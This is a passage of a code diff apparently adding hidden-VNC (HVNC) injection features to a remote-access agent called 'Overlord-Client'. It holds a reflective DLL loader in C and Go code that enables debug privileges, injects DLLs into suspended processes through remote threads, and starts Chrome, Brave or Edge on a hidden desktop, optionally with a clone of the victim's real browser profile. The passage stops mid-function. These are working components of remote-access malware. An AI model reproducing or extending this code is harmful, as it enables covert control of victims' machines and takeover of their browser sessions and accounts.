*(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/ReflectiveLoader.h b/HVNCInjection/src/ReflectiveLoader.h new file mode 100644 index 0000000..af149a1 --- /dev/null +++ b/HVNCInjection/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +__forceinline DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib new file mode 100644 index 0000000..e211ad6 Binary files /dev/null and b/HVNCInjection/src/libMinHook.x64.lib differ diff --git a/HVNCInjection/src/seh_compat.h b/HVNCInjection/src/seh_compat.h new file mode 100644 index 0000000..322e1b8 --- /dev/null +++ b/HVNCInjection/src/seh_compat.h @@ -0,0 +1,18 @@ +// Compatibility header for building with MinGW (which lacks MSVC's __try/__except) +#ifndef _HVNC_SEH_COMPAT_H +#define _HVNC_SEH_COMPAT_H + +#ifdef __MINGW32__ +// MinGW doesn't support MSVC structured exception handling. +// Replace __try/__except with plain code execution (no SEH guard). +#define __try +#define __except(x) if (0) +#define __finally + +// MSVC uses GetExceptionCode() inside __except; provide a stub. +#ifndef GetExceptionCode +#define GetExceptionCode() 0 +#endif +#endif // __MINGW32__ + +#endif // _HVNC_SEH_COMPAT_H diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go new file mode 100644 index 0000000..f0e5c47 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -0,0 +1,17 @@ +//go:build !windows + +package capture + +import "errors" + +func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { + return errors.New("HVNC injection not supported on this platform") +} + +func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { + return errors.New("HVNC injection not supported on this platform") +} + +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error { + return errors.New("HVNC injection not supported on this platform") +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go new file mode 100644 index 0000000..bfcac20 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -0,0 +1,656 @@ +//go:build windows + +package capture + +import ( + "encoding/binary" + "fmt" + "io" + "log" + "os" + "path/filepath" + "strings" + "syscall" + "time" + "unsafe" +) + +var ( + procOpenProcess = kernel32.NewProc("OpenProcess") + procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx") + procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory") + procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread") + procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject") + procCloseHandle = kernel32.NewProc("CloseHandle") + procResumeThread = kernel32.NewProc("ResumeThread") + procOpenProcessToken = advapi32.NewProc("OpenProcessToken") + procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW") + procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges") +) + +var advapi32 = syscall.NewLazyDLL("advapi32.dll") + +const ( + PROCESS_CREATE_THREAD = 0x0002 + PROCESS_QUERY_INFORMATION = 0x0400 + PROCESS_VM_OPERATION = 0x0008 + PROCESS_VM_WRITE = 0x0020 + PROCESS_VM_READ = 0x0010 + PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ + + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + + INFINITE_WAIT = 0xFFFFFFFF + + TOKEN_ADJUST_PRIVILEGES = 0x0020 + TOKEN_QUERY = 0x0008 + SE_PRIVILEGE_ENABLED = 0x00000002 + + CREATE_SUSPENDED = 0x00000004 + CREATE_UNICODE_ENVIRONMENT = 0x00000400 + + IMAGE_DIRECTORY_ENTRY_EXPORT = 0 + IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b + IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b +) + +// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process. +func enableDebugPrivilege() { + var hToken uintptr + currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call() + ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken))) + if ret == 0 { + return + } + defer procCloseHandle.Call(hToken) + + seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege") + type luid struct { + LowPart uint32 + HighPart int32 + } + type luidAndAttributes struct { + Luid luid + Attributes uint32 + } + type tokenPrivileges struct { + PrivilegeCount uint32 + Privileges luidAndAttributes + } + var tp tokenPrivileges + tp.PrivilegeCount = 1 + tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED + + ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid))) + if ret == 0 { + return + } + procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0) +} + +// StartHVNCProcessInjected starts a process suspended on the HVNC desktop, +// injects the reflective DLL, then resumes it. +// searchPath/replacePath are passed as environment variables for the DLL hooks. +func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { + if filePath == "" { + return fmt.Errorf("empty file path") + } + if len(dllBytes) == 0 { + return fmt.Errorf("empty DLL bytes") + } + + result, err := executeHVNCTask(hvncTask{ + kind: hvncTaskStartProcessInjected, + filePath: filePath, + dllBytes: dllBytes, + searchPath: searchPath, + replacePath: replacePath, + }, 30*time.Second) + if err != nil { + return err + } + return result.err +} + +// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection. +// If clone is true, it clones the real profile so file I/O is redirected to the clone. +// If clone is false, it starts the browser with injection but no path redirection. +// browser should be one of: "chrome", "brave", "edge". +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error { + info, ok := browserInfoMap[strings.ToLower(browser)] + if !ok { + return fmt.Errorf("unknown browser %q", browser) + } + + if exePath == "" { + exePath = findBrowserExe(info) + if exePath == "" { + return fmt.Errorf("%s not found", info.name) + } + } + + if !clone { + log.Printf("hvnc %s: starting without profile cloning", info.name) + return StartHVNCProcessInjected(exePath, dllBytes, "", "") + } + + realUserData := getBrowserUserDataDir(info) + if realUserData == "" { + return fmt.Errorf("could not determine %s user data 